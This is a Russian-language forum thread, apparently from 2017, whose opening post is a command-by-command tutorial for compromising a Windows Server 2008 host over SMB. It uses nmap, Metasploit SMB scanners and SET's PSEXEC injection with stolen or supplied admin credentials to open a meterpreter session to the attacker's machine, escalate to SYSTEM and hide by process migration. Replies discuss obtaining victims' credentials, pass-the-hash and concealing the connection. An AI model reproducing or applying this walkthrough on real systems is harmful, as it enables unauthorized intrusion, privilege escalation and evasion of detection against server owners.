 |

21.01.2017, 22:35
|
|
Новичок
Регистрация: 03.11.2010
Сообщений: 5
С нами:
8170166
Репутация:
0
|
|
Всем привет! В этой статье я опишу процедуру тестирования на проникновение целевого хоста под управлением Windows Server 2008.
Целью будет получение активной сессии meterpreter, на компьютере тестирующего.
В качестве платформы для проведения теста, мною будет использоваться Kali Linux 2016.2.
Итак, для начала немного информации, атака будет производиться используя уязвимости версии протокола SMB 2.2
SMB (Server Message Block) — сетевой протокол прикладного уровня для удалённого доступа к файлам, принтерам и другим сетевым ресурсам, а также для межпроцессорного взаимодействия.
Подвергаться эксплуатации в нашем случае будет 445 порт.
445/TCP,UDP MICROSOFT-DS — используется в Microsoft Windows 2000 и поздних версий, для прямого TCP/IP-доступа без использования NetBIOS.
Узнаем адрес сервера в сети и начнем со сканирования:
> nmap –sV –A 192.168.31.133

Первый положительный момент выделен, на сервере открыт интересующий нас порт.
Второй момент, это наличие включенного сервиса smbv2. Теперь необходимо узнать больше о версии протокола SMB.
Запустим Metasploit Framework и выполним последовательно следующее:
> use auxiliary/scanner/smb/smb_version
> msf exploit (smb_version)>set rhosts 192.168.31.ХХХ
> msf exploit (smb_version)>exploit

Затем выполним:
> use auxiliary/scanner/smb/smb2
> msf exploit (smb2)>set rhosts 192.168.0.XXX
> msf exploit (smb2)>set rport 445
> msf exploit (smb2)>exploit
Версия протокола и его наличие нам стали известны. Теперь можно переходить непосредственно к проникновению. Запускаем SET - Social Engineering Toolkit.
> setoolkit

Выбираем второй пункт (2):
Будем использовать PSEXEC Injection, выбираем (6):
Вводим данные согласно требованиям SET:
> 192.168.31.133 (Адрес целевого хоста )
> Administrator (Логин целевого хоста)
> Adminroot123 (Пароль целевого хоста )
> Следующий пункт пропускаем, жмем Enter
> Следующий пункт пропускаем, жмем Enter
> 192.168.31.201 (Адрес атакующей машины )
> 445 (SMB порт)

Если все прошло успешно, то в течение нескольких секунд запустится Metasploit, а затем откроется сессия meterpreter для доступа на целевой хост.
Проверяем работоспособность эксплойта и получаем системные привилегии:
> sessions –I 1
> sysinfo
> getsystem

Посмотрим список запущенных процессов:
> ps
Сам сервер, во время манипуляций ведет себя тихо, разве, что в tasklist появятся новые процессы, но с помощью миграции все поправимо:
Дальше действуем на свое усмотрение. В целом, на этом все. Спасибо за внимание.
|
|
|

25.05.2017, 18:21
|
|
Новичок
Регистрация: 21.10.2016
Сообщений: 0
С нами:
5031678
Репутация:
0
|
|
Т.е для эксплуатации данной уязвимости необходимо иметь логин и пароль пользователя данного ПК ? Как то не айс Кто ж нам добровольно отдаст учётные данные
|
|
|

25.05.2017, 20:05
|
|
Новичок
Регистрация: 03.11.2010
Сообщений: 5
С нами:
8170166
Репутация:
0
|
|
Elektrolife сказал(а):
Т.е для эксплуатации данной уязвимости необходимо иметь логин и пароль пользователя данного ПК ? Как то не айс Кто ж нам добровольно отдаст учётные данные
Это лишь один из способов, методы добычи логина и пароля могут быть различными
|
|
|

25.05.2017, 20:51
|
|
Новичок
Регистрация: 03.11.2010
Сообщений: 5
С нами:
8170166
Репутация:
0
|
|
Azat868 сказал(а):
Сам сервер, во время манипуляций ведет себя тихо
После подключения meterpreter, на сервере в cmd netstat будет видно подключение?
Да, конечно
|
|
|

25.05.2017, 21:05
|
|
Новичок
Регистрация: 03.11.2010
Сообщений: 5
С нами:
8170166
Репутация:
0
|
|
Azat868 сказал(а):
А как спрятать?
Где то читал что можно провернуть не со своего ip в локальной сети, а со свободного ip в сети, буду признателен если ткнете в мануал
А все манипуляции проходят в локальной сети?
|
|
|

25.05.2017, 23:47
|
|
Новичок
Регистрация: 03.11.2010
Сообщений: 5
С нами:
8170166
Репутация:
0
|
|
Azat868 сказал(а):
Да
[doublepost=1495739040,1495732148][/doublepost]Правильно ли я понимаю "pass or hash" означает что можно вставить не расшифрованный хэш к примеру NTLMv2?
[doublepost=1495739776][/doublepost]С русскоязычным username отдает STATUS_LOGON_FAILURE
С англоязычным сессия приходит все нормально.
Как исправить?
С русскоязычным, я тоже сталкивался с проблемой, пока не заморачивался решением.
Можно ставить хэш
|
|
|

01.07.2017, 13:01
|
|
Новичок
Регистрация: 30.06.2017
Сообщений: 0
С нами:
4668804
Репутация:
0
|
|
А как быть с WIndows Server 2008 R2 x86 и x64...
[doublepost=1498899695,1495876146][/doublepost]У меня тоже с русскоязычным username проблема, если хеш NTLM вставить как быть с SMBUser при использовании psexec...
|
|
|
|
 |
Предыдущая тема
Следующая тема
|
Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
|
|
|
|